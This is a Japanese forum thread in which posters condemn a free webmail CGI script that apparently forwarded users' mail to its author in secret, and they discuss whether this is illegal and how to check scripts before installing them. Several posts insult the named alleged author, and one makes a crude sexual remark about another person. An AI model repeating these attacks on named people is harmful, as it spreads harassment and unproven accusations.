ほんと、保守しなきゃクソスレに埋まりそうだな

>>220
電気通信事業者の届けはいらないし、スクリプトを作って
配るのは電気通信事業ですらない。

他人のメールをこっそり漏らすのは電気通信事業者であっても
なくとも処罰対象。ただし、電気通信事業者の場合は罰則が重い。

FAQが欲しいところだな...

ｷｰﾎﾞｰﾄﾞの｢Q｣のところに右手の中指､
｢A｣のところに右手の人差し指をおいて､
その指を､ｶﾞｰって右にｽﾗｲﾄﾞさせると
かなりの確率で｢ふじこ｣が登場

くぁｗせｄｒｆｔｇｙぬるぽｌ

あｑｗせｄｒｆｔｇｙふじｋぉ；ｶﾞｯｐ

なに、また乱立なのか？

誰かがこのスレを落としたくて乱立させてるのか？

他にどこにあるの？

ここにもあるよ
[ネットwatch]【盗聴】web-up.cside.biz【個人情報詐取】
ttp://ex5.2ch.net/test/read.cgi/net/1086965756/

この件は絶対に重要だと思われ。
スレを落とすな。
２ちゃんだけの問題じゃないぞい。
田久保サソ、ったく余計なことしやがって！
死語だが、「ネチケット」弁えてからウェブメルＣＧＩ配布しる！

age

>>197見ると意外と居るんだな
田　久　保　圭　司
みたいな人間失格者

>240

【盗聴】web-up.cside.biz【個人情報詐取】
痛＋　http://news16.2ch.net/test/read.cgi/dqnplus/1086966502/
ﾈﾄｦﾁ　http://ex5.2ch.net/test/read.cgi/net/1086965756/
セキュ　http://pc5.2ch.net/test/read.cgi/sec/1086973725/

★三　【 スクリプト改造工房 PART 8 】　★三
http://pc5.2ch.net/test/read.cgi/php/1077525387/

お祭り板にもスレがあったとのｶｷｺをみたような気がする。

http://live12.2ch.net/test/read.cgi/festival/1086975066/
http://pc5.2ch.net/test/read.cgi/sec/1086973725/
http://ex5.2ch.net/test/read.cgi/net/1086965756/
http://news16.2ch.net/test/read.cgi/dqnplus/1086966502/

http://pc5.2ch.net/test/read.cgi/sec/1086973725/18n
わざわざ保守に行ったの、このスレの住人だろ（ｗ

保守

素朴な疑問なんだけどさ、
他人が作ったcgi設置するときって中身きちんと読んでから使うのが当然だよな？
まさかとは思うんだけど、こういうのに引っかかる奴って内容理解しないで使ってんの？

>>250
そら現にひっかかってる奴がいるわけだし

>>250
そこらじゅうにアホほどある掲示板の管理者が全員cgiを理解できるとでも？
お前はわかるんだな。すごいなぁ
これでいいですか？

別に完全に読破できなくても、＠で検索かけて
意図しないメールアドレスに飛んだりしないかのチェックぐらいしないか？

データ抜かれる事を警戒してじゃなくて、
設定ミスで無関係のアドレスにデータ飛ばしちゃったらまずいだろという考えでだよ。

>>253
なるほど。
暗号化してあったりエンコードしてあったり、悪意のスクリプトには対応できないけど
普通に書いてあるスクリプトのチェックには簡単かつ有効なtipだね。
perlとかだとちょっとうざい気もするけど、cgi教室で教えるべきだ。:)

NEVADAは男に抱かれた経験はあるの？
オナニーくらいはやってただろうけど

>>234
1. パスワードロックされてないパソコンに保存してあるメールを勝手に見る。
2. パスワードロックされたパソコンに盗み見たパスワードで入って
　 保存してあるメールを勝手に見る。
3. LANにつながってる他のパソコンに保存してあるメール(フォルダに
　 パスワードなし)を勝手に見る。
4. LANにつながってる他のパソコンに保存してあるメール(フォルダに
　 パスワードあり)を盗み見たパスワードを使って勝手に見る。
5. パスワードが保存されているパソコンからメールサーバにアクセスして
　 メールを勝手に見る。
6. メールサーバに盗み見たパスワードを使ってアクセスし、勝手に見る。
7. メールサーバ管理者がスプールのメールを勝手に見る。
8. トロイの木馬でメールを自分宛に送らせる。

他人のメールを勝手に見るにもいろいろやり方があるけど、どれが犯罪になる?
何の法律に違反する?

>>255
派手な誤爆だなw

>>256
多分全部犯罪になるな

メールは手紙と一緒って扱いがどっかで判例出てたべ。
だから他人が、メールをBBCで送信するように仕込むっていうのは、
他人の郵便受けから郵便物を盗んでコピー、収集するのと同じこと
って風に考えると犯罪性がわかりやすいんじゃないか？

>>258
筆跡の残った便箋の写真を撮る、というほうが近いと思うが。

乗り遅れたけど 祭 か?

ほす

トラップコードだなこりゃ

ほっしゅ

なーるほど　そーゆうことか

案の定、盛り下がってるな。
利用者が利用規約に同意したとは言え、犯罪行為に同意した事にはならない。
ﾀｸﾎﾞ君の、あの逆ギレに近い釈明文はまるで意味なし。
まあ、使ってる人が騒がないとダメだね。
終了。